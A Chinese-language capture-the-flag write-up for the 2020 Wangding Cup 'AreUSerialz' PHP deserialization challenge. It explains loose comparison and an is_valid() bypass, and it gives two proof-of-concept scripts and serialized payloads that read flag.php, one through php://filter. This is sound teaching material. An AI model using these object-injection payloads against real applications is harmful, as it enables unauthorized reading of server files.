[网鼎杯 2020 青龙组]AreUSerialz

news2024/11/17 1:55:34

目录

信息收集

代码审计

前提知识

思路分析

绕过检测

方法一

poc

payload

方法二

poc

payload


信息收集

进入页面给出了源代码如下,是一道PHP的反序列化题目

<?php
 
 include("flag.php");
  
 highlight_file(__FILE__);
  
 class FileHandler {
  
     protected $op;
     protected $filename;
     protected $content;
  
     function __construct() {
         $op = "1";
         $filename = "/tmp/tmpfile";
         $content = "Hello World!";
         $this->process();
     }
  
     public function process() {
         if($this->op == "1") {
             $this->write();
         } else if($this->op == "2") {
             $res = $this->read();
             $this->output($res);
         } else {
             $this->output("Bad Hacker!");
         }
     }
  
     private function write() {
         if(isset($this->filename) && isset($this->content)) {
             if(strlen((string)$this->content) > 100) {
                 $this->output("Too long!");
                 die();
             }
             $res = file_put_contents($this->filename, $this->content);
             if($res) $this->output("Successful!");
             else $this->output("Failed!");
         } else {
             $this->output("Failed!");
         }
     }
  
     private function read() {
         $res = "";
         if(isset($this->filename)) {
             $res = file_get_contents($this->filename);
         }
         return $res;
     }
  
     private function output($s) {
         echo "[Result]: <br>";
         echo $s;
     }
  
     function __destruct() {
         if($this->op === "2")
             $this->op = "1";
         $this->content = "";
         $this->process();
     }
  
 }
  
 function is_valid($s) {
     for($i = 0; $i < strlen($s); $i++)
         if(!(ord($s[$i]) >= 32 && ord($s[$i]) <= 125))
             return false;
     return true;
 }
  
 if(isset($_GET{'str'})) {
  
     $str = (string)$_GET['str'];
     if(is_valid($str)) {
         $obj = unserialize($str);
     }
  
 }
 ?>

代码审计

前提知识

<?php
$a=2;
$b = '2';
$c = ' 2';
if($c==$b)
    echo '1';
if($c===$b)
    echo '2';
if($a==$b)
    echo '3';
if($a===$b)
    echo '4';
if($a==$c)
    echo '5';
if($a===$c)
    echo '6';
?>

135

因此我们可以设置op的值为整形2或者op为字符串‘ 2’

PHP 5 引入了析构函数的概念,这类似于其它面向对象的语言,如 C++。析构函数会在到某个对象的所有引用都被删除或者当对象被显式销毁时执行。

父类的析构函数不会被引擎暗中调用。要执行父类的析构函数,必须在子类的析构函数体中显式调用 parent::__destruct()。此外也和构造函数一样,子类如果自己没有定义析构函数则会继承父类的。

析构函数即使在使用exit()终止脚本运行时也会被调用。在析构函数中调用exit()将会中止其余关闭操作的运行。

思路分析

反序列化结束后,程序运行结束会调用__destruct析构方法,进入process函数后进行读取操作

绕过检测

  • is_valid()

要求我们传入的str的每个字母的ascii值在32和125之间。因为protected属性在序列化之后会出现不可见字符\00*\00,不符合上面的要求。

绕过方法:因为php7.1以上的版本对属性类型不敏感,所以可以将属性改为public,public属性序列化不会出现不可见字符

 

方法一

poc

<?php
 include("flag.php");
 highlight_file(__FILE__);
 class FileHandler {
     public $op=' 2';
     public $filename='flag.php';
     public $content='coleak';
 }
$a = new FileHandler();
echo serialize($a);
 ?>

payload

?str=O:11:"FileHandler":3:{s:2:"op";s:2:" 2";s:8:"filename";s:8:"flag.php";s:7:"content";s:6:"coleak";}

查看返回源码拿到flag 

 

方法二

poc

<?php
class FileHandler {
    public $op = 2;
    public  $filename = "php://filter/read=convert.base64-encode/resource=flag.php";
    public  $content = "2";
 
}
$a = new FileHandler();
$b = serialize($a);
echo $b;
?>

payload

O:11:"FileHandler":3:{s:2:"op";i:2;s:8:"filename";s:57:"php://filter/read=convert.base64-encode/resource=flag.php";s:7:"content";s:1:"2";}

base64解码拿到flag 

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/170623.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

Linux多线程 线程概念 | 线程VS进程 | 线程控制【万字精讲】

线程 一、线程概念 1. 知识支持及回顾 在我们一开始学习进程的时候。我们总说进程在内部执行时&#xff0c;是OS操作系统调度的基本单位。其实并不严谨&#xff0c;今天&#xff0c;我们要重新完善这个说法——线程在进程内部运行&#xff0c;线程是OS操作系统调度的基本单位…

WorkPlus移动办公平台,助力企业随时随地“指尖办公”

近年来&#xff0c;随着移动互联网的发展&#xff0c;越来越多的人习惯于随时随地通过移动设备完成工作、购物、游戏等。移动办公应用就是基于移动终端的信息化办公应用&#xff0c;利用企微、钉钉、WorkPlus等移动办公平台&#xff0c;实现企业与员工间的随时随地工作、沟通&a…

技术分享 | ClickHouse StarRocks 使用经验分享

作者&#xff1a;许天云 本文来源&#xff1a;原创投稿 *爱可生开源社区出品&#xff0c;原创内容未经授权不得随意使用&#xff0c;转载请联系小编并注明来源。 一. 大纲 本篇分享下个人在实时数仓方向的一些使用经验&#xff0c;主要包含了ClickHouse 和 StarRocks 这两款目…

ASP.NET MVC解决方案的搭建(.NET Framework)——C#系列(一)

一、新建项目 1、控制器新建 2、Service层新建 3、Business数据层新建 4、Commons公共层新建 5、Models实体层新建 二、调用接口 1、接口建立 Web API 2 控制器新建 2、调用 三、Swagger接口调试配置 1、添加NuGet包 在启动项中添加Swashbuckle NuGet包 2、访问 htt…

Vivado2018.3安装及注册指南-安装包获取

一、vivado 介绍 vivado设计套件 是FPGA 厂商赛灵思&#xff08;Xilinx&#xff09;公司最新的为其产品定制的集成开发环境&#xff0c;支持Block Design、Verilog、VHDL等多种设计输入方式&#xff0c;内嵌综合器以及仿真器&#xff0c;可以完成从设计输入、综合适配、仿真到…

mysql存储过程的基础知识

本文来简单说下存储过程的基础知识 文章目录概述什么是存储过程存储过程的优缺点概述 mysql官网提供的储存过程&#xff1a;https://www.mysqlzh.com/doc/225/499.html 什么是存储过程 简单的说&#xff0c;存储过程是一条或者多条SQL语句的集合&#xff0c;可视为批文件&…

SAP采购中不基于收货的发票校验的价差计算过程实例

年前最后一天上班了&#xff0c;我还在帮财务分析一个价差问题。源于财务用户头天的一个请求&#xff0c;在不基于收货的发票校验中&#xff0c;计算倒不难&#xff0c;难的是梳理数量的逻辑关系。不过总算时间也没白花&#xff0c;记录下来。下次就不算了&#xff0c;能解释清…

理解使用并查集

目录 一.并查集原理 1.概念&#xff1a; 2.性质 3.形式 4. 合并方式 二.并查集实现 1.成员变量 2.构造函数 3.查找根 4.合并集合 5.判断是否在一个集合 6.查看集合数量 三.并查集总代码 前言&#xff1a;理解并查集是为了接下来学习图要用&#xff0c;而会使用并查…

Linux:系统性能监控工具-tsar安装和使用

在上家公司做性能压力测试时就用过tsar&#xff0c;但总结文档留在了内部&#xff0c;正好借着最近工作内容又用上了tsar&#xff0c;总结起来 目录前言tsar介绍总体架构安装tasrtsar配置介绍配置文件定时任务配置日志文件tsar使用tsar实际使用参考查看可用的监控模块列表查看C…

本松新材创业板IPO终止:业绩下滑,客户较集中,周永松为实控人

撰稿|汤汤 来源|贝多财经 近日&#xff0c;深圳证券交易所披露的信息显示&#xff0c;杭州本松新材料技术股份有限公司&#xff08;下称“本松新材”&#xff09;提交了撤回上市申请文件的申请&#xff0c;保荐人财通证券也撤回对该公司的保荐。因此&#xff0c;深交所终止了…

目标检测:YOLOV3技术详解

目标检测&#xff1a;YOLOV3技术详解前言主要改进DarkNet53新的分类器正负样本的匹配损失函数前言 YOLOV3是V2的升级版&#xff0c;也是原作者的绝笔&#xff0c;V3主要还是把当时一些有用的思想融入了进来&#xff0c;没有什么创新型的突破&#xff0c;具体细节我们下面介绍。…

【安卓逆向】Frida入门与常用备忘

【安卓逆向】Frida入门与常用备忘前置知识什么是hook&#xff1f;hook的作用常见的逆向工具Frida使用入门简介与资料参考备忘前置环境配置执行hook常用hook脚本/API前置知识 什么是hook&#xff1f; hook&#xff0c;译为“钩子”&#xff0c;是指将方法/函数勾住&#xff0c;…

2022-CSDN的一年

前言 马上要到兔年的春节&#xff0c;年前最后一个版本顺利上线&#xff0c;闲下来两天&#xff0c;可以对过往一年进行一下总结&#xff0c;说起来这是入职CSDN之后第一次自己将自己所思所想以以博客的形式发布在CSDN网站上&#xff0c;也是比较奇特的体验。语言表达能力不强&…

利用华为路由器配置单臂路由功能,实现多个vlan间通信

单臂路由&#xff0c;是通过一台路由器使不同VLAN之间互通的数据通过路由器进行三层转发。 如果在路由器上为每个 VLAN分配一个单独的路由器物理接口&#xff0c;那么随着VLAN数量的增口&#xff0c;必然需要更多的接口&#xff0c;而路由器能提供的接口数量有限&#xff0c;所…

Kubernetes 基本概念

Kubernetes 是什么 Kubernetes 是一个可移植、可扩展的开源平台。用于管理容器化的工作负载和服务&#xff0c;可促进声明式配 置和自动化。是谷歌保密了十几年的秘密武器Borg的开源版本&#xff0c;谷歌一直通过Borg系统管理着数量庞大 的应用程序集群。由于Kubernetes是基于…

元素排序 Comparable 和 Comparator 有什么区别?

1.字面含义不同 我们先从二者的字面含义来理解它&#xff0c;Comparable 翻译为中文是“比较”的意思&#xff0c;而 Comparator 是“比较器”的意思。Comparable 是以 -able 结尾的&#xff0c;表示它自身具备着某种能力&#xff0c;而 Comparator 是以 -or 结尾&#xff0c;…

7. R语言【相关性分析函数】:cov、cor、cor.test 和 【相关性检验函数】:cor.test、corr.test、pcor.test

b站课程视频链接&#xff1a; https://www.bilibili.com/video/BV19x411X7C6?p1 腾讯课堂(最新&#xff0c;但是要花钱&#xff0c;我花99&#x1f622;&#x1f622;元买了&#xff0c;感觉讲的没问题&#xff0c;就是知识点结构有点乱&#xff0c;有点废话&#xff09;&…

二、TortoiseGit的安装

1、TortoiseGit的安装 1.1、TortoiseGit简介 (1)TortoiseGit是一个基于TortoiseSVN的Git的Windows Shell接口。它是开源的&#xff0c;可以免费使用。 (2)TortoiseGit是git的比较好用的一个图形化工具。 1.2、软件下载 (1)下载地址 Download – TortoiseGit – Windows S…

84. 双向循环神经网络

1. 未来很重要 取决于过去和未来的上下文&#xff0c;可以填很不一样的词目前为止RNN只看过去在填空的时候&#xff0c;我们也可以看未来城 2. 双向RNN 两个隐状态层&#xff0c;并行计算隐状态&#xff0c;但是隐状态传播方向相反。 公式如下&#xff1a; 3. 推理 双向RNN不…

day16集合

1.Collection集合 1.1数组和集合的区别【理解】 相同点 都是容器,可以存储多个数据 不同点 数组的长度是不可变的,集合的长度是可变的 数组可以存基本数据类型和引用数据类型 集合只能存引用数据类型,如果要存基本数据类型,需要存对应的包装类 1.2集合类体系结构【理解】…